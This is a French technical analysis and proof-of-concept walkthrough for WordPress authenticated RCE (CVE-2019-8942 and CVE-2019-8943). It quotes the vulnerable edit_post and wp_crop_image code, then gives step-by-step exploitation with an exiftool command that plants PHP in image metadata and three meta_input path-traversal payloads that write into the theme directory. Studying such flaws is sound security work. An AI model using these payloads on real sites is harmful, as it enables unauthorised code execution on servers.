tuannq2299/cve-2019-8942Analyse technique détaillée et preuve de concept d'exploitation pour les vulnérabilités RCE de WordPress CVE-2019-8942 et CVE-2019-8943, démontrant le passage de LFI à RCE via le traversement de chemin et la manipulation de téléchargement d'image.
CVE-2019-8942 est une vulnérabilité exploitant une erreur LFI combinée à la fonctionnalité de téléchargement de fichiers pour exécuter du code à distance (RCE) sur le serveur web WordPress avec les droits d'auteur. Les versions de WordPress concernées incluent les versions antérieures à 4.9.9 et 5.x antérieures à 5.0.1, permettant l'exécution de code à distance car la valeur wp_attached_file du Post Meta peut être modifiée en une chaîne quelconque, par exemple une chaîne comme : .jpg?file.php. Un attaquant disposant de droits d'auteur peut exécuter du code arbitraire en téléchargeant des fichiers image contenant du code malveillant PHP dans les métadonnées Exif. L'exploitation peut tirer parti de CVE-2019-8943.
Dans CVE-2019-8943, WordPress jusqu'à la version 5.0.3 présente une vulnérabilité de Path traversal dans la méthode wp_crop_image(). Un attaquant disposant des droits d'utilisation de la fonction de recadrage d'image (auteur) peut écrire un fichier image dans n'importe quel répertoire en se basant sur un nom de fichier contenant deux extensions comme .jpg?/../../file.jpg.
author.La cause principale permettant à un utilisateur d'effectuer une RCE réside dans l'erreur Post meta pouvant être écrasée.
Les métadonnées peuvent être comprises comme des données décrivant les données, plus précisément dans ce cas, les métadonnées sont les informations sur le blog telles que : titre, date de publication, nom de l'auteur,...
Dans le code source de WordPress version 4.9.8, lorsqu'une image est mise à jour, la fonction edit_post() est appelée. Ce qui est notable ici, c'est que cette fonction manipule directement le tableau $_POST. wp_update_post prend directement $post_data comme paramètre sans vérifier les champs de données autorisés à être modifiés.
function edit_post( $post_data = null ) {
global $wpdb;
if ( empty($post_data) )
$post_data = &$_POST;
...
if ( isset($post_data['meta']) && $post_data['meta'] ) {
foreach ( $post_data['meta'] as $key => $value ) {
if ( !$meta = get_post_meta_by_id( $key ) )
continue;
if ( $meta->post_id != $post_ID )
continue;
if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $meta->meta_key ) )
continue;
if ( is_protected_meta( $value['key'], 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $value['key'] ) )
continue;
update_meta( $key, $value['key'], $value['value'] );
}
}
...
update_post_meta( $post_ID, '_edit_last', get_current_user_id() );
$success = wp_update_post( $post_data );
if ( ! $success && is_callable( array( $wpdb, 'strip_invalid_text_for_column' ) ) ) {
$fields = array( 'post_title', 'post_content', 'post_excerpt' );
foreach ( $fields as $field ) {
if ( isset( $post_data[ $field ] ) ) {
$post_data[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->posts, $field, $post_data[ $field ] );
}
}
wp_update_post( $post_data );
}
wp-admin/includes/post.php
Un utilisateur ayant le droit de publier des articles peut écraser les valeurs Post Meta. Plus précisément, un attaquant peut modifier la valeur des métadonnées _wp_attached_file. Cela ne change pas le nom du fichier, cela modifie seulement le fichier que WordPress manipule lors de l'édition. Cela conduit à l'exploitation d'un Path Traversal.
wp_postmetaavant l'exploitation
On peut voir que le fichier téléchargé a le format YYYY/MM/name.jpg, WordPress le sauvegarde dans le répertoire YYYY/MM/, on peut envisager une exploitation par Path Traversal.
Dans la fonction wp_crop_image(), lorsqu'un utilisateur author effectue un recadrage d'image, WordPress vérifie que l'image existe de deux manières : la première recherche l'image en fonction de _wp_attached_file dans le répertoire wp-content/uploads.
function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
$src_file = $src;
if ( is_numeric( $src ) ) { // Handle int as attachment ID
$src_file = get_attached_file( $src );
if ( ! file_exists( $src_file ) ) {
// If the file doesn't exist, attempt a URL fopen on the src link.
// This can occur with certain file replication plugins.
$src = _load_image_to_edit_path( $src, 'full' );
} else {
$src = $src_file;
}
}
$editor = wp_get_image_editor( $src );
...
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
wp-admin/includes/image.php
Si la méthode ci-dessus échoue, WordPress télécharge l'image depuis son propre serveur en générant une URL contenant le chemin vers le répertoire wp-content/uploads et le nom de fichier contenu dans _wp_attached_file. Le fait de tenter de télécharger l'image plutôt que de la prendre directement en local est dû au fait que dans certains cas, certains plugins génèrent l'image lorsque cette URL est envoyée.
Lorsque WordPress a téléchargé avec succès l'image via la méthode wp_get_image_editor(), le recadrage a lieu. L'image recadrée est ensuite sauvegardée dans le système de fichiers. Le nom de fichier est la valeur de la variable $src retournée par get_post_meta(), contrôlée par l'attaquant. WordPress crée un répertoire via la méthode wp_mkdir_p() (ligne 9), et sauvegarde l'image ici via save(). On peut voir que la méthode save() ne vérifie pas l'exploitation du Path Traversal.
...
$src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
if ( is_wp_error( $src ) )
return $src;
if ( ! $dst_file )
$dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );
wp_mkdir_p( dirname( $dst_file ) );
$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) );
$result = $editor->save( $dst_file );
L'utilisation de la payload injectée dans _wp_attached_file contenant les caractères #/../../ ne correspondra à aucun chemin existant si l'on utilise la méthode de chargement 1, donc WordPress exécutera la méthode 2 pour charger l'image : générer une URL pour télécharger l'image. Ici, le chemin aura la forme http://localhost/wp-admin/wp-content/uploads/YYYY/MM/name.jpg#/name.jpg, comme il s'agit d'une URL, les caractères après # (indiquant un fragment) seront ignorés. Le nom de fichier trouvé sera name.jpg#/name.jpg où name.jpg# est un répertoire et c'est un nom valide. Ensuite, en utilisant une payload comme /name.jpg#/../../name.jpg, on exploite le Path Traversal.
On peut voir que les champs de valeurs comme
_wp_attach_fileou_wp_page_templateont été modifiés
Path Traversal to RCE
Chaque page WordPress utilise un type de thème et possède un dossier /wp-content/themes/theme_name/ contenant les fichiers template. Dans certains cas, il est possible de choisir un thème pour un article. L'utilisateur n'a qu'à définir _wp_page_template dans la table Post Meta avec le nom de fichier souhaité. Cependant, cela est limité aux fichiers situés dans le répertoire du thème. Généralement, ce répertoire n'est pas accessible et on ne peut pas y télécharger de fichier. Mais on peut exploiter le Path Traversal pour écrire un fichier dans ce répertoire. Un attaquant author va créer un article et écraser le fichier image dans la valeur du paramètre _wp_page_template. Le fichier image contiendra du code malveillant PHP, et lorsque l'image sera chargée, le code PHP sera exécuté -> RCE.
Étape 1 : Utiliser wpscan pour identifier le thème utilisé par le site web => twentyseventeen
Étape 2 : Injecter du code malveillant PHP dans l'image avec l'outil Exiftool
exiftool demo.jpg -documentname="<?php phpinfo();?>"
Étape 3 : Se connecter au site admin avec un compte author, aller dans Média -> Ajouter nouveau -> Télécharger l'image.
Étape 4 : Accéder à l'image. Cliquer sur Modifier plus de détails
Étape 5 : Cliquer sur Mettre à jour et utiliser Burpsuite pour intercepter la requête -> Envoyer au répéteur
Étape 6 : Cliquer sur Modifier l'image, recadrer l'image et cliquer sur Enregistrer. Intercepter la requête de sauvegarde de l'image et l'envoyer au répéteur.
Étape 7 : Utiliser la requête de l'Étape 5, ajouter le paramètre &meta_input[_wp_attached_file]=YYYY/MM/file.jpg#/file à la requête. Cette requête préparera la création du dossier file.jpg# et copiera l'image file dans ce dossier.
Étape 8 : Envoyer la requête de l'Étape 6 pour sauvegarder l'image. Voir que le dossier file.jpg# a été créé et l'image sauvegardée dans le dossier YYYY/MM/file.jpg#.
Étape 9 : De la même manière qu'à l'étape 7, utiliser la requête de l'Étape 5, ajouter le paramètre &meta_input[_wp_attached_file]=YYYY/MM/file.jpg#/../../../../themes/twentyseventeen/file à la requête. Connaissant la structure des dossiers de WordPress et le nom du thème, on peut créer la payload ci-dessus.
Étape 10 : Envoyer la requête de l'Étape 6 pour sauvegarder l'image. Voir que l'image est sauvegardée dans le nouveau chemin.
Étape 11 : Aller dans Articles -> Ajouter nouveau. Cliquer sur Publier. Intercepter la requête et l'envoyer au répéteur.
Étape 12 : Utiliser la requête de l'Étape 11, ajouter le paramètre &meta_input[_wp_page_template]=image recadrée où image recadrée est le nom du fichier image de l'Étape 10.
Étape 13 : Accéder à l'article et voir que le code malveillant dans l'image est exécuté.
Payload avec 3 requêtes utilisées :
&meta_input[_wp_attached_file]=année/mois/fichier#/fichier
&meta_input[_wp_attached_file]=année/mois/fichier#/../../../../themes/twentyseventeen/fichier
&meta_input[_wp_page_template]=<image recadrée>